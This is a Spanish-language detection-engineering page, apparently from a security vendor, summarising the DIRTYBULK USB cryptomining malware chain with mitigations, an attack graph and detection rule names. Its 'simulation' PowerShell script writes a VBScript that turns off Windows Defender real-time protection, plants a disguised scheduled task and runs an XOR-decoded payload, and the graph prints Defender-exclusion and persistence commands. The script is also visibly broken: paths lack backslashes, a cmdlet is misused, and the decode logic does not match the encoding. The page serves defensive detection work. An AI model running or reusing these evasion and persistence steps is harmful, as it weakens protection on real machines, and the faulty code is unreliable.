DIRTYBULK y Amigos: Malware USB Impulsando Operaciones de Minería de Criptomonedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe detalla una campaña de infección impulsada por USB que utiliza archivos de acceso directo maliciosos para entregar una cadena de malware de múltiples etapas para la minería de criptomonedas. La ejecución inicial carga un DLL llamado printui.dll desde un directorio falso de System32, luego entrega un dropper (CUTFAIL) que despliega un downloader (HIGHREPS) y un backdoor (PUMPBENCH). El backdoor PUMPBENCH se comunica con un servidor PostgreSQL para obtener cargas útiles adicionales y, finalmente, lanza los mineros XMRig. La operación mantiene la persistencia mediante exclusiones de Windows Defender, tareas programadas y servicios fraudulentos.
Análisis
Los investigadores de Mandiant deconstruyeron la cadena de ataque y destacaron cuatro familias de malware principales: DIRTYBULK, CUTFAIL, HIGHREPS y PUMPBENCH. Capturaron los patrones de nombres de archivo de los actores, el abuso de carga lateral de DLL de printui.dll, los cambios de registro e indicadores de red asociados. El análisis también trazó técnicas de persistencia, incluyendo tareas programadas y servicios vinculados al Grupo de Servicios DCOMLaunch.
Mitigación
Las defensas recomendadas incluyen bloquear la ejecución de archivos de acceso directo que se originan en medios extraíbles, monitorear los comandos que agregan exclusiones de Windows Defender, detectar actividad sospechosa de carga lateral de printui.dll y buscar servicios o tareas programadas que usen nombres aleatorios de seis dígitos. Aplicar controles de red contra dominios maliciosos conocidos y resolutores de DoH puede limitar aún más los canales de comando y control.
Respuesta
Una vez detectado, aísle el host impactado, elimine el DLL malicioso y sus componentes relacionados, elimine la tarea programada ofensiva y las entradas de servicio, y restablezca la configuración de Windows Defender limpiando las exclusiones. Realice un escaneo forense exhaustivo para descubrir cargas útiles residuales y rastrear conexiones a la infraestructura C2 de PostgreSQL identificada. Finalmente, actualice el contenido de detección para cubrir el uso observado de la línea de comandos y comportamientos de creación de archivos.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[«<b>Acción</b> – <b>T1674 Inyección de Entrada</b>: La víctima inserta un USB que contiene un acceso directo malicioso»] class node_usb_insert action node_lnk[«<b>Archivo</b> – <b>Acceso Directo Malicioso</b> (USB Drive.lnk)»] class node_lnk file node_wscript[«<b>Herramienta</b> – <b>wscript.exe</b>: Ejecuta VBScript»] class node_wscript tool node_vbs[«<b>Archivo</b> – <b>VBScript</b> (x??????.vbs)»] class node_vbs file node_shortcut_mod[«<b>Acción</b> – <b>T1547.009 Modificación de Accesos Directos</b>: El LNK se utiliza para persistencia»] class node_shortcut_mod action %% Masquerading and side‑loading node_masq_dir[«<b>Archivo</b> – <b>Directorio Falso</b> C:\\Windows\\System32 (con espacio final)»] class node_masq_dir file node_printui_exe[«<b>Proceso</b> – <b>printui.exe</b> (legítimo)»] class node_printui_exe process node_printui_dll[«<b>Archivo</b> – <b>printui.dll</b> (malicioso)»] class node_printui_dll file node_dll_hijack[«<b>Acción</b> – <b>T1574.001 Secuestro del Flujo de Ejecución: DLL</b>»] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[«<b>Comando</b> – Add‑MpPreference -ExclusionPath \»C:\\Windows \»»] class node_ps_exclusion command node_ps_profile[«<b>Acción</b> – <b>T1546.013 Perfil de PowerShell</b>: Ejecuta el comando de exclusión»] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[«<b>Acción</b> – <b>T1543.003 Crear Servicio de Windows</b>»] class node_service_create action node_service[«<b>Servicio</b> – <b>123456</b> creado bajo DcomLaunch con ServiceDll»] class node_service service node_scheduled_task[«<b>Comando</b> – schtasks /create /tn \»console_zero\» /sc ONLOGON /tr \»C:\\Windows\\System32\\console_zero.exe\» /rl HIGHEST /f»] class node_scheduled_task command node_task_action[«<b>Acción</b> – <b>T1037.001 Script de Inicio de Sesión</b>: Ejecuta console_zero.exe al iniciar sesión el usuario»] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[«<b>Herramienta</b> – Consultas DNS‑over‑HTTPS a dns.google»] class node_doh tool node_fastflux[«<b>Acción</b> – <b>T1568.001 DNS Fast Flux</b> y <b>T1568.003 Cálculo DNS</b>»] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[«<b>Malware</b> – Minero XMRig»] class node_xmrig malware node_mining[«<b>Acción</b> – <b>T1496.001 Secuestro de Recursos</b>: Criptominería en el host comprometido»] class node_mining action %% Connections node_usb_insert u002du002du003e|contiene| node_lnk node_lnk u002du002du003e|ejecuta| node_wscript node_wscript u002du002du003e|ejecuta| node_vbs node_vbs u002du002du003e|crea directorio de suplantación| node_masq_dir node_vbs u002du002du003e|copia ejecutable legítimo| node_printui_exe node_vbs u002du002du003e|reemplaza la DLL por una versión maliciosa| node_printui_dll node_printui_exe u002du002du003e|carga| node_dll_hijack node_dll_hijack u002du002du003e|carga DLL maliciosa| node_printui_dll node_printui_dll u002du002du003e|dispara| node_ps_exclusion node_ps_exclusion u002du002du003e|ejecutado mediante| node_ps_profile node_ps_profile u002du002du003e|crea| node_service_create node_service_create u002du002du003e|crea| node_service node_service u002du002du003e|habilita| node_scheduled_task node_scheduled_task u002du002du003e|se ejecuta al iniciar sesión| node_task_action node_task_action u002du002du003e|descarga dirección C2 mediante| node_doh node_doh u002du002du003e|usa| node_fastflux node_fastflux u002du002du003e|proporciona dirección para| node_xmrig node_xmrig u002du002du003e|ejecuta| node_mining
Flujo de ataque
Detecciones
Cantidad anormal de espacios en el nombre del proceso / línea de comando / ruta del archivo (mediante cmdline)
Ver
WScript / CScript de LOLBAS (mediante process_creation)
Ver
Modificación sospechosa de exclusiones de Defender (mediante cmdline)
Ver
Posible copia y cambio de nombre de ejecutable del sistema para evasión (mediante cmdline)
Ver
Desactivar la supervisión en tiempo real de Windows Defender y otros cambios de preferencias (mediante cmdline)
Ver
Ejecución de simulación
Requisito previo: la verificación previa de telemetría y línea base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.
-
Narrativa de ataque y comandos:
-
Etapa 1 – Desplegar VBScript malicioso en la unidad USB comprometida (por ejemplo,
E:payload.vbs). El script desactiva la protección en tiempo real de Windows Defender usandoAdd-MpPreference, cifra una carga útil con una rutina XOR, y crea una tarea programada para la persistencia. -
Etapa 2 – Ejecutar el script mediante
wscript.exepasando directamente la línea de comando de persistencia (para satisfacer la condición conjuntiva de la regla). -
Etapa 3 – El script invoca internamente PowerShell para ejecutar la carga útil cifrada, demostrando la «cadena de infección».
-
Etapa 4 – Después de la ejecución, el atacante limpia los artefactos (elimina el script, borra la tarea programada).
-
-
Script de prueba de regresión:
# ------------------------------------------------------------ # Prueba de regresión – Simulación de cadena de infección de malware # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Crear carga útil cifrada con XOR dummy -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Escribir VBScript malicioso ------------------------------------------- @" ' VBScript malicioso – cadena de infección Set sh = CreateObject("WScript.Shell") ' Desactivar la protección en tiempo real sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Crear tarea programada para persistencia sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Descifrar y ejecutar carga útil Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Ejecutar el script mediante wscript.exe (dispara la regla) ------------- wscript.exe "$scriptPath" /B # -- 4. (Opcional) Esperar unos segundos para que la tarea se active ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Limpieza – eliminar script y tarea programada # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Comandos de limpieza:
# Eliminar tarea programada residual (si aún está presente) schtasks /Delete /TN "WinUpdateTask" /F # Eliminar cualquier archivo de script residual Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Habilitar nuevamente la protección en tiempo real powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"